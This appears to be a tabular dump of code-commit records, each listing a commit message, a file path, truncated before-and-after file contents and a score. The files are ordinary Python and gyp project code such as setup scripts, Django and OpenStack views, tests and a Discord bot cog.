yie... | Python | 0.997103 | |
a6e02bdbc29c13b7a41d3848171fb80d8a29e05d | Revert unintended commit. | chrome/browser/sync/protocol/sync_proto.gyp | chrome/browser/sync/protocol/sync_proto.gyp | # Copyright (c) 2010 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'targets': [
{
# Protobuf compiler / generate rule for sync.proto. This is used by
# t... | # Copyright (c) 2010 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'targets': [
{
# Protobuf compiler / generate rule for sync.proto. This is used by
# t... | Python | 0.000009 |
2039e9845e669ae83b1ec42fc631f48ff585427a | remove unused variable | cogs/friendcode.py | cogs/friendcode.py | import discord
import hashlib
import struct
from cogs.converters import SafeMember
from cogs.database import DatabaseCog
from discord.ext import commands
class FriendCode(DatabaseCog):
"""
Stores and obtains friend codes using an SQLite 3 database.
"""
# based on https://github.com/megumisonoda/Sabe... | import discord
import hashlib
import struct
from cogs.converters import SafeMember
from cogs.database import DatabaseCog
from discord.ext import commands
class FriendCode(DatabaseCog):
"""
Stores and obtains friend codes using an SQLite 3 database.
"""
# based on https://github.com/megumisonoda/Sabe... | Python | 0.00003 |
1db20535ed70bc8b4a9fc562a0a4a90cc5f9b502 | move dealer actions to dealer/server file | player.py | player.py | #!/usr/bin/env python
import simplejson
import sys
import os
import pygame
from twisted.internet import reactor
from twisted.internet.protocol import ClientFactory
from twisted.protocols.basic import LineReceiver
from twisted.internet.task import LoopingCall
from lib.graphics_ctrl import GameDisplay
class Client(... | Python | 0 | |
906898f6b8139c364994b50e0d6c60da6e4ec549 | Add train module, simplify the code in and modules | train.py | train.py | from nltk.corpus import PlaintextCorpusReader
import networkx as nx
from collections import Counter
from itertools import chain
from itertools import tee
import graph_utils as gutil
def pairwise(itr):
a, b = tee(itr) # two version of itr
next(b, None) # b goes ahead one step
return zip(a, b) # retur... | Python | 0.000001 | |
e411fcd647e3cdcf415465288e527aecfd026fc5 | add additional data to flavor's ViewBuilder | nova/api/openstack/views/flavors.py | nova/api/openstack/views/flavors.py | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache... | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache... | Python | 0 |
2e9e1f801653d4df60f5103d70ae91a7d307b200 | add the management bare minimum to auto-create site. | oneflow/base/management/__init__.py | oneflow/base/management/__init__.py | # -*- coding: utf-8 -*-
from django.contrib.sites import models
from django.db.models import signals
from django.conf import settings
def create_site(app, created_models, verbosity, **kwargs):
""" Create the default site when when we install the sites framework. """
if not models.Site in created_models:
... | Python | 0 | |
0f9f4f1ee325d72d09625850ba6a153ae5616ab0 | Update test to load plugin | nose2/tests/functional/test_collect_plugin.py | nose2/tests/functional/test_collect_plugin.py | import re
from nose2.tests._common import FunctionalTestCase
class CollectOnlyFunctionalTest(FunctionalTestCase):
def test_collect_tests_in_package(self):
self.assertTestRunOutputMatches(
self.runIn('scenario/tests_in_package', '-v', '--collect-only',
'--plugin=nose2.plu... | import re
from nose2.tests._common import FunctionalTestCase
class CollectOnlyFunctionalTest(FunctionalTestCase):
def test_collect_tests_in_package(self):
self.assertTestRunOutputMatches(
self.runIn('scenario/tests_in_package', '-v', '--collect-only'),
stderr=EXPECT_LAYOUT1)
# e... | Python | 0 |
8eddb8eafede9fa5aa9761ae53fa0d7081a4ba8f | Add setup.py | setup.py | setup.py | from __future__ import print_function
from os import sys
try:
from skbuild import setup
except ImportError:
print('scikit-build is required to build from source.', file=sys.stderr)
print('Please run:', file=sys.stderr)
print('', file=sys.stderr)
print(' python -m pip install scikit-build')
sys... | Python | 0 | |
a577c19e1296df413100f6858ded39ab71e757a8 | Add setup.py | setup.py | setup.py | #!/usr/bin/env python
from distutils.core import setup
setup(name="sbd",
version="0.1",
description="Iridium Short Burst Data DirectIP handling",
author="Pete Gadomski",
author_email="pete.gadomski@gmail.com",
url="https://github.com/gadomski/sbd",
)
| Python | 0.000001 | |
b3c13747dcb72d751dbc2322d240499cb0fa2764 | Add shebang line to setup.py | setup.py | setup.py | #!/usr/bin/env python3
import os
from setuptools import setup, find_packages
from homeassistant.const import __version__
PACKAGE_NAME = 'homeassistant'
HERE = os.path.abspath(os.path.dirname(__file__))
DOWNLOAD_URL = ('https://github.com/balloob/home-assistant/archive/'
'{}.zip'.format(__version__))
P... | import os
from setuptools import setup, find_packages
from homeassistant.const import __version__
PACKAGE_NAME = 'homeassistant'
HERE = os.path.abspath(os.path.dirname(__file__))
DOWNLOAD_URL = ('https://github.com/balloob/home-assistant/archive/'
'{}.zip'.format(__version__))
PACKAGES = find_packages... | Python | 0.000001 |
40183d3ef5b49626e62e2bfd830ad54cfa138df9 | Add setup.py | setup.py | setup.py | import os
from setuptools import setup
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
setup(
name = "energenie",
version = "0.1.0",
author = "Ben Nuttall",
author_email = "ben@raspberrypi.org",
description = "Python module to control the Energenie add-on bo... | Python | 0.000001 | |
33aa59a19962a27588fff478957540824f1d65f9 | build prediction reviews worklist assigning jobs randomly | promort/reviews_manager/management/commands/build_prediction_reviews_worklist.py | promort/reviews_manager/management/commands/build_prediction_reviews_worklist.py | # Copyright (c) 2021, CRS4
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribu... | Python | 0 | |
02a982614b26dae21c18308c6fc94998805484fb | Add ball collector component | components/collector.py | components/collector.py | """
Runs the wheels on the front of the robot to pick up balls.
"""
class BallCollector(object):
def __init__(self, motor):
self.motor = motor
def run(self, trigger):
if (trigger == True):
self.motor.set(1)
else:
self.motor.set(0)
| Python | 0 | |
dc3ee951363116b235ec96bef34b06a661fc4795 | Add a test that fails if using an old version of chromedriver | examples/fail_if_old_driver_test.py | examples/fail_if_old_driver_test.py | from seleniumbase import BaseCase
class ChromedriverTests(BaseCase):
def test_fail_if_using_an_old_chromedriver(self):
if self.browser != "chrome":
print("\n This test is only for Chrome!")
print(" (Run with: '--browser=chrome')")
self.skip("This test is only for Chr... | Python | 0.00001 | |
2b1cc5fb7465ec0d14d01d2c5cdec9f3bd222016 | Update import_cluster.py | tendrl/node_agent/gluster_integration/flows/import_cluster.py | tendrl/node_agent/gluster_integration/flows/import_cluster.py | import json
import uuid
from tendrl.node_agent.flows.flow import Flow
class ImportCluster(Flow):
def run(self):
node_list = self.parameters['Nodes[]']
if len(node_list) > 1:
# This is the master node for this flow
for node in node_list:
if self.node_id != no... | import json
import uuid
from tendrl.node_agent.flows.flow import Flow
class ImportCluster(Flow):
def run(self):
node_list = self.parameters['Nodes[]']
if len(node_list) > 1:
# This is the master node for this flow
for node in node_list:
if self.node_id != no... | Python | 0.000002 |
b426522a82d9ba9caa98731d91b985933466aaf9 | Create setup.py | setup.py | setup.py | from setuptools import setup, Extension, find_packages
from glob import glob
setup(
name='expresso',
version='0.2',
description='A symbolic expression manipulation library.',
author='Lars Melchior',
author_email='thelartians@gmail.com',
url='https://github.com/TheLartians/Expresso',
#incl... | Python | 0.000001 | |
ff61d42f2cc60713437277c69521041c36ee425c | Create Startup.py | plugins/events/Startup.py | plugins/events/Startup.py | print 1
| Python | 0.000001 | |
dfb5a1146b44979f98dc8aa236f52f0393eeabab | Add a basic setup.py | setup.py | setup.py | from distutils.core import setup
import os.path
def is_package(path):
return (
os.path.isdir(path) and
os.path.isfile(os.path.join(path, '__init__.py'))
)
def find_packages(path, base=""):
""" Find all packages in path """
packages = {}
for item in os.listdir(path):
d... | Python | 0.000016 | |
38d7a3671afa0e2c76682c8c409959288b547f82 | Prepare for tagging v4.0b3 | setup.py | setup.py | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
setup(name="pymdptoolbox",
version="4.0-b3",
author="Steven A. W. Cordwell",
author_email="steven.cordwell@uqconnect.edu.au",
url="https://github.com/sawcordwell/pymdptoolbox",
description="Markov Decision Process (MDP) T... | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
setup(name="pymdptoolbox",
version="0",
author="Steven A. W. Cordwell",
author_email="steven.cordwell@uqconnect.edu.au",
url="https://github.com/sawcordwell/pymdptoolbox",
description="Markov Decision Process (MDP) Toolbo... | Python | 0 |
12267f2a6ac574924ec991a8719d1d1cbf42f85c | Add installation script | setup.py | setup.py | from setuptools import setup
setup(name='Flask-Static', license='MIT', author='Rolando Urquiza',
author_email='rolurquiza@gmail.com',
description='Task executioner similar to gulp for Python',
packages=['flask_static'], platforms='any',
install_requires=['werkzeug'],
classifiers=['Environ... | Python | 0 | |
470617e0fad9381cf5fadf64d1a9ba18dbf5e101 | Fix copy ec scenario files failed. | setup.py | setup.py | #!/usr/bin/python
# Copyright (c) 2013 SwiftStack, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | #!/usr/bin/python
# Copyright (c) 2013 SwiftStack, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | Python | 0 |
30f704c3e767462fefb5086bbf6b5f190cec7c1b | Add fibonacci search in python | search/fibonacci_search/python/fibonacci_search.py | search/fibonacci_search/python/fibonacci_search.py | #Fibonacci search for sorted algorithm
def fibSearch(arr,x):
#fibonacci numbers initialization
fib2 = 0
fib1 = 1
fib = fib2 + fib1
n = len(arr)
#find the smallest fibonacci greater than or equal to array length
while (fib < n):
fib2 = fib1
fib1 = fib
fib = fib2 + fi... | Python | 0.000004 | |
215ab7e04495f829caf3583237fbe6c41ec8b40e | add logout API | xos/core/xoslib/methods/loginview.py | xos/core/xoslib/methods/loginview.py | from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework.reverse import reverse
from rest_framework import serializers
from rest_framework import generics
from rest_framework.views import APIView
from core.models import *
from services.hpc.models import *
from serv... | from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework.reverse import reverse
from rest_framework import serializers
from rest_framework import generics
from rest_framework.views import APIView
from core.models import *
from services.hpc.models import *
from serv... | Python | 0.000001 |
f872501586dfe05c5b96402a3d8ea5194a9ff6b3 | add the pseudocode for the reservation random generator | reservation/generate.py | reservation/generate.py | """
Usage:
generate SERVERS RESERVATIONS DURATION
Arguments:
SERVERS Number of servers for which we generate reservations
RESERVATIONS Number of reservations per server
DURATION The maximum duration of a reservation (determined randomly)
"""
def generate(arguments):
print argumen... | Python | 0.000001 | |
68a7b8b87caca9e80cc827854fa362e8a2911a2a | use Qt4 instead of Tkinter. This will use less code and provide a better appearance | setup.py | setup.py | """
This is a setup.py script generated by py2applet
Usage:
python setup.py py2app
"""
from setuptools import setup
APP = ['app.py']
DATA_FILES = []
OPTIONS = {'argv_emulation': True, 'includes': ['sip', 'PyQt4',
'PyQt4.QtCore', 'PyQt4.QtGui']}
setup(
name='Ca... | Python | 0 | |
f1907672f276ee7cf19dd9f14824e56361c8128d | Add tests | tests/lda_test.py | tests/lda_test.py | # -*- coding:utf-8 -*-
import unittest
import nose
import dmr
class LDATestCase(unittest.TestCase):
def test___init__(self):
'''
__init__ test
'''
corpus = dmr.Corpus.read("./doc.txt")
voca = dmr.Vocabulary()
docs = voca.read_corpus(corpus)
if __name__ == '__main__... | Python | 0.000001 | |
4ee28dbcdf631e3f328dcda5f901b0d4bf20ef3b | Create setup.py | setup.py | setup.py | from distutils.core import setup
from Cython.Distutils import Extension
from Cython.Distutils import build_ext
import os
import numpy
ext_modules = []
ext_modules.append(Extension("terminator",
["terminator.pyx"],
libraries=["m"],
... | Python | 0.000001 | |
10a2fb7d52ce9affcc6157eb7731191b940a7480 | Write some tests | tests/test_for.py | tests/test_for.py | import pytest
from pyegs.compiler import compile as compile_
@pytest.mark.skip('Not implemented yet')
def test_for():
assert (compile_('items = [11, 22, 33]\nfor item in items: x = item') ==
'p1z 11 p2z 22 p3z 33 p4z 1 '
'p5z p4z+0 p5z p^5z p6z p5z '
'p5z p4z+1 p5z p^5z p6z p5... | Python | 0.000066 | |
3b38f7638d1d2e3903cc388cfb3103b1e9c11bc2 | Add setup.py | setup.py | setup.py | from setuptools import setup, find_packages
setup(name='whaler',
version='0.0.1',
author = "Tristan R. Brown",
author_email = "brown.tristan.r@gmail.com",
description = ("Analytical package for computational chemistry software, "
"ORCA."),
url = 'https://github.com/tristanbr... | Python | 0.000001 | |
54eca489024d3d8f354a44d161797edb8e916600 | Add tests - now very simple and primitive | tests/test_saw.py | tests/test_saw.py | import unittest
from saw.saw import Saw
class Test_Saw(unittest.TestCase):
def setUp(self):
text = "Starting right this second, it's way easier to merge Pull Requests! \
We usually merge them from the comfortable glow of our computers, but with the\
new mobile site we're comfortabl... | Python | 0 | |
986fad3382aadfe636dd5b2a8b9a69ffcdd5bc20 | increment version for release 1.14.1 | setup.py | setup.py | # coding: utf-8
from setuptools import setup, find_packages
try:
from distutils.command.build_py import build_py_2to3 as build_py
except ImportError:
from distutils.command.build_py import build_py
import os
with open('README.rst') as file:
long_description = file.read()
MAJOR = 1
MINOR = 14
MICRO = 1
... | # coding: utf-8
from setuptools import setup, find_packages
try:
from distutils.command.build_py import build_py_2to3 as build_py
except ImportError:
from distutils.command.build_py import build_py
import os
with open('README.rst') as file:
long_description = file.read()
MAJOR = 1
MINOR = 14
MICRO = 0
... | Python | 0.000001 |
9ae54aed54b308bab98031f9a855b1457df0378d | migrate mpl.cbook.iterable to numpy.iterable | metpy/cbook.py | metpy/cbook.py | # Copyright (c) 2008,2015,2018 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Collection of generally useful utility code from the cookbook."""
import os
import numpy as np
from numpy import iterable
import pooch
from . import __version__
try:... | # Copyright (c) 2008,2015,2018 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Collection of generally useful utility code from the cookbook."""
import os
from matplotlib.cbook import iterable
import numpy as np
import pooch
from . import __vers... | Python | 0.000005 |
1bd21c7b35a100e0f72f03bd9e0d783dc136c41e | Check for multiple outcome codes occurring today | cla_backend/apps/cla_butler/management/commands/monitor_multiple_outcome_codes.py | cla_backend/apps/cla_butler/management/commands/monitor_multiple_outcome_codes.py | # coding=utf-8
import logging
from django.core.management.base import BaseCommand
from django.db.models import Count, Max, Min
from django.utils.timezone import now
from cla_butler.stack import is_first_instance, InstanceNotInAsgException, StackException
from cla_eventlog.models import Log
logger = logging.getLogger(_... | Python | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.